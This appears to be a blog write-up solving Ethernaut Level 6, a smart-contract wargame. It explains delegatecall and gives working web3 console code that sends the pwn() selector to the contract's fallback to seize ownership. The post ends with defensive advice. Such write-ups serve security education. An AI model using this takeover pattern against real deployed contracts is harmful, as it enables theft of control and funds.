Read the article directly on my blog: Ethernaut Solutions | Level 6 - Delegation
This level want us to understand the danger of using Delegate calls in a smart contract. Delegate Calls are a powerful tool that allows a contract to delegate a function call to another contract. This is a very useful feature when building upgradable contracts, but it can also be very dangerous if not used correctly.
Basically, a delegate call is a low-level function that allows another contract to execute a function using the storage of the calling contract. This means that the delegate contract can modify the state of the calling contract.
If
contractA
executesdelegatecall
tocontractB
,contractB
's code is executed withcontractA
's storage,msg.sender
andmsg.value
.
In this Ethernaut level, the Delegation
contract (contractA in the previous example) has a fallback
function that delegates the call to the Delegate
contract (contractB).
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
By using a delegatecall
to the pwn
function, we will update the owner of the Delegation
contract.
NOTE: The storage slot order also plays an important role when using delegate calls. But will we explore this in the next levels. Here, since both contract only have one state variable, we don't need to worry about it.
(In the browser's console)
- Let's start by getting the selector of the
pwn()
function:
const pwnSelector = web3.utils.keccak256("pwn()").slice(0, 10);
- Then, call the
Delegation
contract'sfallback
function with thepwn()
function selector:
/**
* @param {string} from - Your wallet address.
* @param {string} to - Delegation instance address.
* @param {string} data - The selector of the pwn() function: "0xdd365b8b".
*/
await web3.eth.sendTransaction({
from: player,
to: instance,
value: "0",
data: pwnSelector,
});
- You can call the
owner()
function to check if the hack was successful:
await contract.owner();
- Use extreme caution when using delegate calls in your smart contracts.
- Make sure to understand the implications of using delegate calls and the potential security risks.
- Delegate calls should not accept untrusted inputs.
Parity Wallet Hack: https://blog.openzeppelin.com/on-the-parity-wallet-multisig-hack-405a8c12e8f7/